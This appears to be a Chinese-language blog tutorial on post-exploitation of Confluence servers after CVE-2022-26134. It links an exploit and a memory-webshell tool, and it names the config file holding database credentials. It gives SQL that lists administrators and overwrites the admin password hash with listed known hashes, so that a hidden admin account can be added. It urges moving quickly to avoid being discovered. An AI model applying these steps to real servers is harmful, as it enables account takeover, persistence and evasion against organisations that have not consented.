漏洞验证
penguin
CVE-2022-26134首先验证漏洞是在的,但这并不是文章重点,也可使用脚本一键,但没必要。
项目地址:https://github.com/jbaines-r7/through_the_wire
Confluence后利用
现在的思路就是写shell获取系统权限——>再到数据库权限——>最后到管理员密码。这边管理员密码是密文加密在数据库中,解不开,因此解决的思路是将管理员用户密码修改为已知明文密码的密文(这边不能直接在数据库中添加字段,关系型数据库在单表中添加一条字段可能会出现问题),登录上后台以后,添加用户并加入管理员组,最后将管理员密码还原。
Confluence的后利用主要问题在于在Linux中搭建时,默认是Confluence用户权限,如下图所示,而confluence在linux中是没有写权限的,这也就是为什么有些人发现可以执行命令但是shell写不进去。因此处理这种问题最有效的方法就是无文件落地,写内存马。
打内存马
准备研究下Confluence内存马,但是好在已有大哥把Confluence的内存马整出来了,我这边只负责乘凉即可:
项目地址:https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL
连接数据库
查找数据库配置文件
Confluence数据库默认配置文件如下,若未使用默认路径,全局搜索该配置文件即可
/var/atlassian/application-data/confluence/confluence.cfg.xml
可知数据库地址:192.168.159.133:5432 username:confluence password:confluence
选择哥斯拉数据库管理模块连接postgresql数据库:
修改admin密码
先查询所有管理员用户的id值,这步的目的主要是定位管理员用户
select u.id, u.user_name, u.active from cwd_user u join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id where g.group_name = ‘confluence-administrators’ and d.directory_name=’Confluence Internal Directory’;
可知admin为管理员
查看用户密码表
SELECT * FROM “cwd_user” limit 10
其中credential字段是密码密文,解不开,按照前面的思路,我们可以将其修改为我们已知的密文,登录上以后再改回来。
先保存admin密文备用
{PKCS5S2}xcOomVKqqDnMbMMrR3YyE3cP2ihgjkBTbwkfAMz1TaO+Kjxp/p+lcB1CV5sh7pKH
修改密码
修改密码需要改用户id值和已知密文
Id:根据查表admin的id为229377
Credential:
Ab123456对应密文——
{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF
123123对应密文——
{PKCS5S2}V1J8HcMvYsdtnETu2tjA1gFVQ1L3o+dAsNiooSAcSvpRcbkTR8K4Ha/iWgF145gk
123456对应密文——
{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm
这边将密码改为123123
那么Sql语句为:
update cwd_user set credential = ‘{PKCS5S2}V1J8HcMvYsdtnETu2tjA1gFVQ1L3o+dAsNiooSAcSvpRcbkTR8K4Ha/iWgF145gk’ where id=xxxxxx;
修改成功:
至此admin的密码被改为了123123
后续
后面紧接着就是一分钟内快速登录后台——>用户管理——>添加用户——>加管理员——>用上面方法重新将admin密码改回。速度要快动作要帅以免被发现。
自动化工具
这边推荐哥斯拉作者写的一个自动化工具,专门针对confluence后利用的,如果觉得上面手动利用麻烦的可以使用。
项目地址:https://github.com/BeichenDream/PostConfluence
下载并添加插件
功能模块如下,主要挑选三个介绍:
AddAdminUser 添加一个管理员
EnumAllUser 列举所有用户
EnumHibernateConfig 查看数据库配置文件
至此,Confluence后利用介绍完毕,有了管理员权限登录后台后,相信会给大家带来不小的惊喜,后面有时间会介绍其他后利用的姿势。